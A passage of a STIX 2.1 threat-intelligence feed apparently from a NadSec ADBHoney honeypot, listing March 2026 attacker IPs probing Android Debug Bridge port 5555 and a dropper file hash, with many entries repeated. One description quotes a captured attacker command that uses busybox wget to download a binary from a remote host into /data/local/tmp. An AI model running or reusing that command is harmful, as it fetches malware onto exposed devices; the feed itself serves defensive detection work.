      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.101.134.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:00:03.000Z",
      "valid_until": "2026-04-25T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 578,
          "first_seen": "2026-03-24T04:25:20.000Z",
          "last_seen": "2026-03-28T20:37:32.248Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "131706"
          ],
          "org": [
            "PT SELARAS CITRA TERABIT"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-24T04:18:21.000Z | last_seen=2026-03-24T04:28:31.425Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--adaec145-0f13-41a5-bfdf-c3055fa493e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.118.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:00:03.000Z",
      "valid_until": "2026-04-25T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-24T04:18:21.000Z",
          "last_seen": "2026-03-24T04:28:31.425Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T05:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ba1bce4fbd42fc995ea57defa094ce9af2d4dd1785d3370927c47771c57b2c45.raw; last_seen=2026-03-24T04:34:41.272Z",
      "id": "indicator--f69bbecc-cdb3-4df8-ae10-1161ad7a4942",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ba1bce4fbd42fc995ea57defa094ce9af2d4dd1785d3370927c47771c57b2c45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=85; ports=5555; cc=ID; asn=131706; asn_org=PT SELARAS CITRA TERABIT; adb_cmd_hits=2; cmd=\"busybox wget -q http://38.83.138.59:25884/p2parm -O /data/local/tmp/p2parm 2>/dev/null || wget -q http://38.83.138.59:25884/p2parm -O /data/local/tmp/p2parm 2>/\"\n\nObserved in ADBHoney telemetry for 2026-03. events=578 | first_seen=2026-03-24T04:25:20.000Z | last_seen=2026-03-28T20:37:32.248Z | ports=5555 | cc=ID | asn=131706 | org=PT SELARAS CITRA TERABIT",
      "id": "indicator--110e83ac-c2cb-46e1-ad19-af5c241519d1",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.101.134.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:00:04.000Z",
      "valid_until": "2026-04-25T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 578,
          "first_seen": "2026-03-24T04:25:20.000Z",
          "last_seen": "2026-03-28T20:37:32.248Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "131706"
          ],
          "org": [
            "PT SELARAS CITRA TERABIT"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-24T04:18:21.000Z | last_seen=2026-03-24T04:28:31.425Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--adaec145-0f13-41a5-bfdf-c3055fa493e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.118.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:00:04.000Z",
      "valid_until": "2026-04-25T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-24T04:18:21.000Z",
          "last_seen": "2026-03-24T04:28:31.425Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T05:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ba1bce4fbd42fc995ea57defa094ce9af2d4dd1785d3370927c47771c57b2c45.raw; last_seen=2026-03-24T04:34:41.272Z",
      "id": "indicator--f69bbecc-cdb3-4df8-ae10-1161ad7a4942",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ba1bce4fbd42fc995ea57defa094ce9af2d4dd1785d3370927c47771c57b2c45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T05:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=30; ports=5555; cc=ID; asn=7713; asn_org=PT Telekomunikasi Indonesia; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=170 | first_seen=2026-03-24T05:53:33.000Z | last_seen=2026-03-25T08:56:51.201Z | ports=5555 | cc=ID | asn=7713 | org=PT Telekomunikasi Indonesia",
      "id": "indicator--4c837450-4128-465e-9e97-cbbb96f86953",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.80.112.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T06:00:03.000Z",
      "valid_until": "2026-04-25T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 170,
          "first_seen": "2026-03-24T05:53:33.000Z",
          "last_seen": "2026-03-25T08:56:51.201Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "7713"
          ],
          "org": [
            "PT Telekomunikasi Indonesia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-24T07:13:58.000Z | last_seen=2026-03-24T07:25:34.924Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--c9dec768-54fe-4627-828d-785930ef029a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:00:06.000Z",
      "valid_until": "2026-04-25T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-24T07:13:58.000Z",
          "last_seen": "2026-03-24T07:25:34.924Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T08:00:17.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-24T07:13:58.000Z | last_seen=2026-03-24T07:25:34.924Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--c9dec768-54fe-4627-828d-785930ef029a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T08:00:17.000Z",
      "valid_until": "2026-04-25T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-24T07:13:58.000Z",
          "last_seen": "2026-03-24T07:25:34.924Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-24T08:11:06.000Z | last_seen=2026-03-24T08:24:45.478Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c1194bb-bec1-4043-8ed4-4cd3d853dc06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '134.122.54.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:19.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-24T08:11:06.000Z",
          "last_seen": "2026-03-24T08:24:45.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-24T08:06:07.000Z | last_seen=2026-03-24T08:07:45.198Z | ports=5555 | cc=CN | asn=56048 | org=China Mobile Communicaitons Corporation",
      "id": "indicator--69a4bf4d-ba4c-475e-a934-fe3e45320fff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.104.42.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:19.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-24T08:06:07.000Z",
          "last_seen": "2026-03-24T08:07:45.198Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56048"
          ],
          "org": [
            "China Mobile Communicaitons Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-24T08:33:14.000Z | last_seen=2026-03-24T08:43:19.294Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:19.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-24T08:33:14.000Z",
          "last_seen": "2026-03-24T08:43:19.294Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-24T08:32:09.000Z | last_seen=2026-03-24T08:33:11.130Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--5f463d11-f583-401f-a9a1-703d94738290",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:19.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-24T08:32:09.000Z",
          "last_seen": "2026-03-24T08:33:11.130Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:26.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-24T08:11:06.000Z | last_seen=2026-03-24T08:24:45.478Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c1194bb-bec1-4043-8ed4-4cd3d853dc06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '134.122.54.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:26.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-24T08:11:06.000Z",
          "last_seen": "2026-03-24T08:24:45.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:26.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-24T08:06:07.000Z | last_seen=2026-03-24T08:07:45.198Z | ports=5555 | cc=CN | asn=56048 | org=China Mobile Communicaitons Corporation",
      "id": "indicator--69a4bf4d-ba4c-475e-a934-fe3e45320fff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.104.42.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:26.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-24T08:06:07.000Z",
          "last_seen": "2026-03-24T08:07:45.198Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56048"
          ],
          "org": [
            "China Mobile Communicaitons Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:26.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-24T08:33:14.000Z | last_seen=2026-03-24T08:43:19.294Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:26.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-24T08:33:14.000Z",
          "last_seen": "2026-03-24T08:43:19.294Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-24T09:00:26.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-24T08:32:09.000Z | last_seen=2026-03-24T08:33:11.130Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--5f463d11-f583-401f-a9a1-703d94738290",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T09:00:26.000Z",
      "valid_until": "2026-04-25T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-24T08:32:09.000Z",
          "last_seen": "2026-03-24T08:33:11.130Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
